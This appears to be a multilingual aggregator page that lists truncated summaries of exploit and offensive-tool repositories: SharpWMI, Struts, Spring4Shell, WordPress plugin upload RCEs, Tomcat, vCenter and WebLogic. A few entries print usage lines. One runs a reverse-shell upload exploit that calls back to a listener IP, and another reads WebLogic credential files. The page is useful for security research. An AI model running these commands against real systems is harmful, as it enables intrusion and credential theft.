SharpWMI

SharpWMI SharpWMI 是一个 C 实现的多种 WMI 功能集合。包括本地/远程 WMI 查询、通过 win32process 远程创建进程、以及通过 WMI 事件订阅远程执行任意 VBS。远程方法还支持备用凭据。 @harmj0y 是主要作者。 SharpWMI 使用 BSD 3-Clause 许可证授权。 用法 本地系统枚举： SharpWMI.exe action=query query=""select from win32service"" namespace=BLAH 远程系统枚举： SharpWMI.exe action=query...

EUVD-2026-94157

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

CVE-2026-19386

A stack-based buffer overflow exists in ASUS router modules , which allows an authenticated nearby user to execute arbitrary code . This vulnerability is triggered by uploading a crafted configuration file that exceeds the expected buffer size. For specific details on affected versions and remedi...

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 发布时间 2017-03-07 危害级别 高 AV:N/AC:L/Au:N/C:C/I:C/A:C 影响产品 Apache struts =2.3.5，=2.5， CVE Identifier CVE-2017-5638 Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then use...

CVE-2019-12889

CVE-2019-12889 Resumen Existe una escalada de privilegios no autenticada en SailPoint Desktop Password Reset 7.2. Un usuario con acceso local únicamente a la pantalla de inicio de sesión de Windows puede escalar sus privilegios a NT AUTHORITY\System. Un atacante necesitaría acceso local a la...

spring-core-rce

Spring Core RCE/CVE-2022-22965 影响范围：JDK=9 的spring框架及衍生框架 文章指路 脚本仅供学习使用，如作他用所承受的法律责任一概与作者无关 1.installation pip3 install -r requirements.txt 2.Usage $ python3 spring-core-rce.py -h .----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---. .----..----. -| || \ || |--' | -'/ -. \ | | -' | .-...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 subida de shell inversa Exploit para WpDiscuz 7.0.4 basado en el exploit escrito por h3v0x. Explota la vulnerabilidad y sube una shell PHP inversa. La inspiración fue el CTF Blogger. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

CVE-2026-3891-Pix-for-WooCommerce-插件-利用 🛡️ 描述 CVE-2026-3891 是一个严重的未经认证的任意文件上传漏洞 ，存在于 Pix for WooCommerce WordPress 插件中，影响版本至 1.5.0（含） 。 该漏洞存在于 lknpixforwoocommercec6savesettings 功能中，原因是缺少授权控制且文件类型验证不足。此利用工具自动获取有效 nonce，并演示了将 PHP 文件无限制上传到 Web 可访问目录的过程。 通过利用此漏洞，未经认证的攻击者可能能够： 上传任意文件 ，无需 WordPress 认证。...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration RCE Subida de archivos arbitrarios sin autenticar → Ejecución remota de código Campo| Valor ---|--- CVE| CVE-2026-1357 CVSS| 9.8 Crítico Plugin| WPvivid Backup & Migration Afectado| ≤ 0.9.123 Corregido| 0.9.124 Descubierto por| Lucas Montes NiRoX PoC por...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 RCE no autorizado en VMware vCenter script de exploit de Metasploit preparación git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

cve-2019-2618

cve-2019-2618 Weblogic Upload VulnNeed username password-CVE-2019-2618 python使用 python CVE-2019-2618.py url username password 解密weblogic密码 root@f0cb7e674d7e:/Oracle cat /root/Oracle/Middleware/userprojects/domains/basedomain/servers/AdminServer/security/boot.properties |grep pass...

CVE-2024-0757-Exploit

CVE-2024-0757 Exploit Descripción El plugin Insert or Embed Articulate Content into WordPress para WordPress es vulnerable a subidas arbitrarias de archivos a través de subidas inseguras de archivos en un archivo zip en todas las versiones hasta, e incluyendo, la 4.3000000023. Esto permite que...

OpenSTAManager-RCE-Exploit-CVE-2026-38751

Exploit RCE de OpenSTAManager CVE-2026-38751 Carga arbitraria de archivos que conduce a Ejecución Remota de Código Prueba de concepto completa para CVE-2026-38751 , escrita en Rust. Advertencia : Esta herramienta está destinada únicamente para pruebas de seguridad autorizadas y fines educativos...

CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE 漏洞利用 此仓库包含针对 CVE-2025-24813 的完整概念验证 PoC 漏洞利用代码，该漏洞是 Apache Tomcat 中通过 HTTP PUT 方法部署恶意 JSP Web Shell 的远程代码执行 RCE 漏洞。 🔥 此漏洞利用示例展示了攻击者如何通过文件上传和有效载荷执行在未妥善保护的 Tomcat 实例中实现 RCE 。 📁 项目结构 CVE-2025-24813/ ├── docker/ │ ├── Dockerfile │ └── web.xml ├── exploit/ ...

wp-file-manager-CVE-2020-25213

WP-file-manager exploit CVE-2020-25213 El plugin de WordPress WP-file-manager 6.9 es vulnerable a la subida arbitraria de archivos sin autenticación, lo que resulta en el compromiso total del sistema. Para más detalles, consulta mi writeup publicado aquí Descargo de responsabilidad No he...

social-analyzer

Social Analyzer - API, CLI, and Web App for analyzing & finding a person's profile across +1000 social media \ websites. It includes different analysis and detection modules, and you can choose which modules to use during the investigation process. The detection modules utilize a rating mechanism...

CVE-2025-27590

CVE-2025-27590 - Exploit PoC Inyección de Comandos a través de Carga de Formulario Multiparte 📌 Descripción Esta es una prueba de concepto PoC para el CVE-2025-27590 , una vulnerabilidad de inyección de comandos que afecta a aplicaciones web que procesan cargas de archivos multiparte sin la debid...

CVE-2026-1555

CVE-2026-1555 WebStack = 1.2024 - Subida de Archivos Arbitraria No Autenticada 👤 Por: Nxploited 🔗 Nxploited ZeroDay Hub — t.me/KNxploited 💀 CVE-2026-1555 — Subida de Archivos Arbitraria en WordPress WebStack Ejecución Remota de Código no Autenticada a través del manejador AJAXimgupload 📌 Resumen ...

CVE-2025-4190

CVE-2025-4190 — CSV Mass Importer de WordPress ≤ 1.2 Carga Arbitraria de Archivos -purple 📌 Descripción El plugin CSV Mass Importer ≤ 1.2 para WordPress contiene una vulnerabilidad de Carga Arbitraria de Archivos para Admin+. Debido a una validación incorrecta de los archivos subidos, los usuario...